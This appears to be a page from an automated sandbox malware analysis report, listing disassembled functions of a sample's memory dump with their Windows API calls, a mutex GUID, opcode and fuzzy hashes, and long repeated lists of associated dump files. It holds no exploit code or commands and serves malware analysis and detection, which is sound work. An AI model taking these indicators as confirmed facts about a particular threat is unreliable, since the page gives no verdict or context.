Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseHandleMutexOpenSleep
String ID: {90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}
API String ID: 2969294566-2750777359
Opcode ID: b448d7765fc53e6341ccfb6de024855d4f5a39609308a0c122c41a61755970d0
Instruction ID: 114710f0528ec982f131dcdf135c812feb18b6b12adcd0077798a2b96187060b
Opcode Fuzzy Hash: b448d7765fc53e6341ccfb6de024855d4f5a39609308a0c122c41a61755970d0
Instruction Fuzzy Hash: AFE086B090C301DFD714DBE4CE18BAE7A74AB84745F200426B102B52C0C7B48A00DF71

Function 00924800 Relevance: 6.2, APIs: 4, Instructions: 240synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000003B0,?), ref: 00924822
LocalFree.KERNEL32(00000000), ref: 00924ADE
WaitForSingleObject.KERNEL32(000003B0,00001388), ref: 00924B8C

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$FreeLocal
String ID:
API String ID: 2623624709-0
Opcode ID: 98c03679a72c46c8327fa5f8068223d6537e53bbc0cfd227749fb89917a5e143
Instruction ID: a177883d65f51a2278b4247a2b94680721ec6aa3b161694f823bcf990b76b4b7
Opcode Fuzzy Hash: 98c03679a72c46c8327fa5f8068223d6537e53bbc0cfd227749fb89917a5e143
Instruction Fuzzy Hash: 27B1A1B0D01219CFDB08CF89E699BADFBB5FBA4304F258129D11A6F299C3785949CF44

Function 009379F0 Relevance: 6.2, APIs: 4, Instructions: 181COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00937A48

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: a3f285e8f02dfc3b0840a8e4ef5611c5a373cea1bfa24297c0b702d76130eb32
Instruction ID: 9a5f8096691a88119ee5b0089b6dff3802505cf39fc03616e2a889953fff2139
Opcode Fuzzy Hash: a3f285e8f02dfc3b0840a8e4ef5611c5a373cea1bfa24297c0b702d76130eb32
Instruction Fuzzy Hash: B571E9B4A0410EEFCB14CFA8D491EAEB7B5FF88304F108558E905AB341D734AA55CFA0

Function 009241F0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,0093BBFD), ref: 00924217
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,0093BBFD), ref: 00924233
CloseHandle.KERNEL32(00000000,?,0093BBFD), ref: 00924277
CloseHandle.KERNEL32(00000000,?,0093BBFD), ref: 0092428E

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseCreateEventHandle
String ID:
API String ID: 3369476804-0
Opcode ID: fd2fa1f3645cdec917dec873518197d328e938dc6d72527b19c4c751bc2959dd
Instruction ID: 80b11b02c77cfd3bc8727ea428ed4d8fc5916a17e18ecd6e9b70732796f9b874
Opcode Fuzzy Hash: fd2fa1f3645cdec917dec873518197d328e938dc6d72527b19c4c751bc2959dd
Instruction Fuzzy Hash: 6B11E9702AA310EFE7209B69FE0AB5E36ACE724705F500427B6216A1E4C7F85484EB14

Function 009492DC Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 009492E8

Part of subcall function 009481BE: __amsg_exit.LIBCMT ref: 009481CE

__getptd.LIBCMT ref: 009492FF
__amsg_exit.LIBCMT ref: 0094930D
__updatetlocinfoEx_nolock.LIBCMT ref: 00949331

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: fc122ef8283c411fdb7fb4a6e4fe6fbb01a44699cf4b12ca6c60160c68097a07
Instruction ID: 355ada51723e992a2f127a17052cdb4989b644c9b6ebb661504fd06879241822
Opcode Fuzzy Hash: fc122ef8283c411fdb7fb4a6e4fe6fbb01a44699cf4b12ca6c60160c68097a07
Instruction Fuzzy Hash: 35F0B432D493049FDB21BF789803F4F33A0BF84724F15424AF451AB2EACB6499019A97

Function 009221E0 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,0093BE5B), ref: 009221F2
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0093BE5B), ref: 0092220A
CloseHandle.KERNEL32(00000000,?,0093BE5B), ref: 00922217
CloseHandle.KERNEL32(00000000,?,0093BE5B), ref: 00922236

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252327284.0000000000BA0000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252352835.0000000000BB7000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252371086.0000000000BB9000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252393355.0000000000BC5000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252412960.0000000000BC6000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252435973.0000000000BD1000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BD4000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252464033.0000000000BEA000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252511849.0000000000C02000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252529961.0000000000C05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252552828.0000000000C12000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252574545.0000000000C13000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C14000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C1E000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252593280.0000000000C2A000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252651635.0000000000C2B000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_920000_windows.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: cf70ee50f87d3ea4a5db9faee38adb28d8e253ed1b9413a32958f062276f74b4
Instruction ID: c6e1764030d0af4bdd2aca61d603a3163b049e720e4ccef0963b51f55d4d28d2
Opcode Fuzzy Hash: cf70ee50f87d3ea4a5db9faee38adb28d8e253ed1b9413a32958f062276f74b4
Instruction Fuzzy Hash: 69F074B112E200DBD714AB6CFE4CB5D3BA9E358319F504617A525462F4C77E9884EF60

Function 009242B0 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,0093BE60), ref: 009242C2
WaitForSingleObject.KERNEL32(00000000,000000FF,?,0093BE60), ref: 009242DA
CloseHandle.KERNEL32(00000000,?,0093BE60), ref: 009242E7
CloseHandle.KERNEL32(00000000,?,0093BE60), ref: 00924306

Memory Dump Source

Source File: 00000009.00000002.4251578180.0000000000921000.00000040.00000001.01000000.00000005.sdmp, Offset: 00920000, based on PE: true

Associated: 00000009.00000002.4251549722.0000000000920000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.000000000095C000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251578180.0000000000996000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251683216.00000000009A0000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251709184.00000000009A1000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251735220.00000000009A2000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251765021.00000000009AE000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251914186.0000000000B05000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251942512.0000000000B07000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B1F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4251966380.0000000000B2B000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252031549.0000000000B3F000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252056389.0000000000B41000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252084091.0000000000B43000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252108943.0000000000B44000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252140850.0000000000B5D000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252171633.0000000000B5E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252199960.0000000000B65000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252227557.0000000000B70000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252260917.0000000000B91000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252289780.0000000000B9A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.4252307918.0000000000B9B000.00000080.00000001.01000000.00000005.sdmpDownload File
